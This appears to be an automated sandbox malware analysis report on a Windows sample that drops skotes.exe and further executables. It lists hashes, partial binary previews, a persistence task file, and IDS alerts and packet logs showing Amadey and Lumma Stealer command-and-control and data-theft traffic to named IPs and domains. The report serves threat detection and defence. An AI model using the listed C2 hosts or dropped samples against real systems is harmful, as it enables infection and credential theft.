Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4456448
Entropy (8bit):	7.984844015632634
Encrypted:	false
SSDEEP:	98304:Lcv0DvP7v4m0C6OkeSEj18aRZTZgE5CT+zM:/vjgmj36Ej931guCT
MD5:	3FBE557C7EC8409F30604B0F5E365F70
SHA1:	00D9F4548C93BE387F68C1B7AEEDCF4C75873B60
SHA-256:	F4E7B423983D4606CB9A72876F57C870884B40556AB6EA3DA498D69E02ACACAB
SHA-512:	802D3925592429A116F24C5A35723F030EA6FC4924DC201EB69A09BFEDA57AAC3E0C2246D0E213D131B888515936C31D13C03FD6C32C2D091A3DDC2437C1642D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2..........PD...@.......................... .......D...@... ............................._.a.s.....a........................................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... ..8...a......R(.............@...obbejfdq.....P.......T(.............@...msdghfca.............C.............@....taggant.0......"....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4485120
Entropy (8bit):	7.983059112357185
Encrypted:	false
SSDEEP:	98304:S5OvmjO1EX69Kl29THDuBr/v20z3TpSYYfRvCFwt:zvmj8EKwAENz3VSRvJ
MD5:	35E2C99A2FED28F4148EF7F4C1431DF4
SHA1:	8B05AA4709FD09892238BAA7A14F42D58DD58D14
SHA-256:	D01A1B39C935E182B6E4D6C2C15DFE35A59B086FE55BBEA0338BC35626A1D3DF
SHA-512:	E03CFE592504F165FDD3A04DC3293D2AC786C51B9B59F6EBC0560013AADDE66BDFDCB3C93CD225B51CDFF831050E1BFC94977ED761006F10A852FE132A6CEBB8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...........pH...@..................................iE...@... ............................._pt.s....`t............................................................................................................ . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... . 9...t......`(.............@...euhadjik.............b(.............@...fyvcfwgt.............JD.............@....taggant.0......."...ND.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	810496
Entropy (8bit):	7.808597434734726
Encrypted:	false
SSDEEP:	24576:grtEhokkSG4bPWQ8C8z3zcB49CNPWQ8C8z3zcB49Cx:grGhokkSG4bPWQv8z3BYNPWQv8z3BYx
MD5:	E8AF4D0D0B47AC68D762B7F288AE8E6E
SHA1:	1D65F31526CC20AB41D6B1625D6674D7F13E326C
SHA-256:	B83449768E7AF68867C8BC42B19FF012722D88EA66AEF69DF48661E63E0EB15E
SHA-512:	80FAD90314FF639F538A72C5E4CA2BF9AE52B9309CAA7CD6F87D61791505BB3612B7F3190AB9B67348C5D71F4D29BB9D101E3F66D525EB9B5E2060A10B2D187A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....^g.........."......f........................@.......................................@.....................................P....p..........................x...........................x.......................`...\|............................text...md.......f.................. ..`.rdata..............n..............@..@.data...,%... ......................@....CODE........P....... .............. ..`.tls.........`.......0..............@....rsrc........p.......2..............@..@.reloc..x............4..............@..B.bss.................R..............@....bss.........0......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018149001\b4955bcdf6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	327680
Entropy (8bit):	6.491778114185038
Encrypted:	false
SSDEEP:	6144:8BU5m3yTX3M7fBQ7x/kPX+uQDPm3TCXrYZtDUyathc5G7sI+EM0JEWvpA6:uIYSoZAA+uQDPYO7YZtYPs5G7sI+p0Ww
MD5:	410F3C1C170A4E198C2A6D54C5447DF6
SHA1:	6C8F4E535A5C09909CBDE33BFC136A72EB5C4E2B
SHA-256:	266869C72E69F11C45D82037A6D37D437A0F55FC2E771DBDC8DC9C0E5259CF21
SHA-512:	5DD98D63C5D10258FF19E45A9A45A962DEFF2E432B153CD2A7784FB7A627A6DAD4A22CD4550424458040B0653DD4602070365FF6A8C97E8072BE4A94E2A1BAE6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3013632
Entropy (8bit):	6.526181614406672
Encrypted:	false
SSDEEP:	49152:tImjPWPcoCD7hokvDEi4WHONULvnlDPkxYPR4Kqnc/RC:1jPicoCD7ykvYiN9Pkx24Kqnc/o
MD5:	EE12D8B8CA1B5A57024AA4543B3865EB
SHA1:	956606C8966A69D7E34A7CA2008E50440B3686FC
SHA-256:	6519ACFEAB8705862FEE44A34934ECA2960D93F1CEC000B2EE5552926865CF31
SHA-512:	A31B97F221EC301799679D425B4DF7158801B1C2B9C9BBB32283C18289DBCC7DD446784D04B3AA84A21A292535694D5FB2408A1984D1B17B183ACB290030CDB6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1.......-...@.................................W...k.............................1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...xjrelixn..........................@...nmafcnuu......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.425043596099404
Encrypted:	false
SSDEEP:	6:1ippPXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lHtGct0:1+lf2RKQ1CGAFAjzvYRQVHtt0
MD5:	6226A3FC333C0AF68FCE78454BA24490
SHA1:	A290C7072D33CAC60967D217DDBEF3F9AB5466CD
SHA-256:	81F99259CEE7EF556DE8959C71BED47E9BD2FB235CD367542D5B5F9991D1E5A0
SHA-512:	ADA2ABD48842917F7BBA751FFB61812E09032C9A47BDB13780604D0A9AB291A9D3D9C7B6177F242F78AAFC2DE4F3631DFC25816C972B05271996B3A6AE8B565E
Malicious:	false
Preview:	........%.K.`.L....F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.526181614406672
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'013'632 bytes
MD5:	ee12d8b8ca1b5a57024aa4543b3865eb
SHA1:	956606c8966a69d7e34a7ca2008e50440b3686fc
SHA256:	6519acfeab8705862fee44a34934eca2960d93f1cec000b2ee5552926865cf31
SHA512:	a31b97f221ec301799679d425b4df7158801b1c2b9c9bbb32283c18289dbcc7dd446784d04b3aa84a21a292535694d5fb2408a1984d1b17b183acb290030cdb6
SSDEEP:	49152:tImjPWPcoCD7hokvDEi4WHONULvnlDPkxYPR4Kqnc/RC:1jPicoCD7ykvYiN9Pkx24Kqnc/o
TLSH:	D6D54BA2F40A62DFD49A17B8926BCD425C5D87FA473009D3D83DE8BA7E67CC015B6C18
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x71b000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F69405070CAh
pminub mm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add eax, 0700000Ah
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x318c08	0x10	xjrelixn
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x318bb8	0x18	xjrelixn
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	c7edeb295d6dcae869c3112d01177fbb	False	0.9974029291553134	OpenPGP Public Key	7.972610826495892	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	dfd276108e500a1de81c2eda382ddef5	False	0.7119140625	data	5.804788327825897	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xjrelixn	0x6b000	0x2af000	0x2ae200	451ae59f16cf129aec6165bcbf560144	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nmafcnuu	0x31a000	0x1000	0x400	9b5882f8a2a968532fdf261e9c9b107c	False	0.7861328125	data	6.158560033898063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x31b000	0x3000	0x2200	3fc9d34fc138b462614a51e81b6eeb03	False	0.10064338235294118	DOS executable (COM)	1.0901617763299705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x318c18	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x318ffc	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T04:11:05.497627+0100	2822521	ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner)	1	104.131.68.180	443	192.168.2.4	49931	TCP
2024-12-20T04:12:05.965039+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49753	185.215.113.43	80	TCP
2024-12-20T04:12:10.672746+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49766	31.41.244.11	80	TCP
2024-12-20T04:12:14.759680+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49764	TCP
2024-12-20T04:12:16.071000+0100	2058397	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)	1	192.168.2.4	58053	1.1.1.1	53	UDP
2024-12-20T04:12:16.094158+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49781	185.215.113.43	80	TCP
2024-12-20T04:12:17.540269+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49783	31.41.244.11	80	TCP
2024-12-20T04:12:17.639279+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49788	104.21.23.76	443	TCP
2024-12-20T04:12:17.639279+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49788	104.21.23.76	443	TCP
2024-12-20T04:12:18.396087+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49788	104.21.23.76	443	TCP
2024-12-20T04:12:18.396087+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49788	104.21.23.76	443	TCP
2024-12-20T04:12:19.630066+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49790	104.21.23.76	443	TCP
2024-12-20T04:12:19.630066+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49790	104.21.23.76	443	TCP
2024-12-20T04:12:20.436633+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49790	104.21.23.76	443	TCP
2024-12-20T04:12:20.436633+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49790	104.21.23.76	443	TCP
2024-12-20T04:12:22.063901+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49800	104.21.23.76	443	TCP
2024-12-20T04:12:22.063901+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49800	104.21.23.76	443	TCP
2024-12-20T04:12:24.073811+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49806	104.21.91.209	443	TCP
2024-12-20T04:12:24.507348+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49807	185.215.113.43	80	TCP
2024-12-20T04:12:24.831215+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49806	104.21.91.209	443	TCP
2024-12-20T04:12:24.831215+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49806	104.21.91.209	443	TCP
2024-12-20T04:12:24.832883+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49808	104.21.23.76	443	TCP
2024-12-20T04:12:24.832883+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49808	104.21.23.76	443	TCP
2024-12-20T04:12:25.735486+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49808	104.21.23.76	443	TCP
2024-12-20T04:12:25.976289+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49810	31.41.244.11	80	TCP
2024-12-20T04:12:26.069132+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49811	104.21.91.209	443	TCP
2024-12-20T04:12:26.910683+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49811	104.21.91.209	443	TCP
2024-12-20T04:12:26.910683+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49811	104.21.91.209	443	TCP
2024-12-20T04:12:27.696827+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49816	104.21.23.76	443	TCP
2024-12-20T04:12:27.696827+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49816	104.21.23.76	443	TCP
2024-12-20T04:12:31.148949+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49829	104.21.23.76	443	TCP
2024-12-20T04:12:31.148949+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49829	104.21.23.76	443	TCP
2024-12-20T04:12:31.162617+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49830	104.21.91.209	443	TCP
2024-12-20T04:12:31.844821+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49831	185.215.113.43	80	TCP
2024-12-20T04:12:33.292914+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49838	31.41.244.11	80	TCP
2024-12-20T04:12:33.613968+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49839	104.21.23.76	443	TCP
2024-12-20T04:12:33.613968+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49839	104.21.23.76	443	TCP
2024-12-20T04:12:33.720921+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49840	104.21.91.209	443	TCP
2024-12-20T04:12:34.538102+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49840	104.21.91.209	443	TCP
2024-12-20T04:12:35.943375+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49847	104.21.91.209	443	TCP
2024-12-20T04:12:38.810388+0100	2058398	ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)	1	192.168.2.4	49855	104.21.23.76	443	TCP
2024-12-20T04:12:38.810388+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49855	104.21.23.76	443	TCP
2024-12-20T04:12:39.003231+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49856	104.21.91.209	443	TCP
2024-12-20T04:12:39.587670+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49855	104.21.23.76	443	TCP
2024-12-20T04:12:41.814275+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49866	104.21.91.209	443	TCP
2024-12-20T04:12:44.111462+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49872	185.215.113.43	80	TCP
2024-12-20T04:12:45.480989+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49876	104.21.91.209	443	TCP
2024-12-20T04:12:45.569229+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49875	31.41.244.11	80	TCP
2024-12-20T04:12:46.540860+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49876	104.21.91.209	443	TCP
2024-12-20T04:12:56.403489+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49904	185.215.113.43	80	TCP
2024-12-20T04:12:57.897057+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49909	31.41.244.11	80	TCP
2024-12-20T04:13:03.190088+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49921	185.215.113.43	80	TCP
2024-12-20T04:13:03.551834+0100	2058212	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)	1	192.168.2.4	61588	1.1.1.1	53	UDP
2024-12-20T04:13:03.886289+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.4	57416	1.1.1.1	53	UDP
2024-12-20T04:13:04.835841+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49926	31.41.244.11	80	TCP
2024-12-20T04:13:04.948708+0100	2058222	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz)	1	192.168.2.4	57416	1.1.1.1	53	UDP
2024-12-20T04:13:06.596770+0100	2058223	ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI)	1	192.168.2.4	49931	104.131.68.180	443	TCP
2024-12-20T04:13:06.596770+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49931	104.131.68.180	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 04:12:04.493720055 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:04.613203049 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:04.613300085 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:04.613549948 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:04.732959032 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:05.964711905 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:05.965039015 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:07.467361927 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:07.467652082 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:07.587138891 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:07.587165117 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:07.587253094 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:07.587415934 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:07.587569952 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:07.707101107 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:08.963676929 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:08.963756084 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:08.964122057 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:08.964266062 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:09.198429108 CET	80	49764	185.215.113.43	192.168.2.4
Dec 20, 2024 04:12:09.198546886 CET	49764	80	192.168.2.4	185.215.113.43
Dec 20, 2024 04:12:09.202908993 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:09.322453022 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:09.322663069 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:09.322680950 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:09.442147017 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.672656059 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.672689915 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.672702074 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.672745943 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.672791004 CET	49766	80	192.168.2.4	31.41.244.11
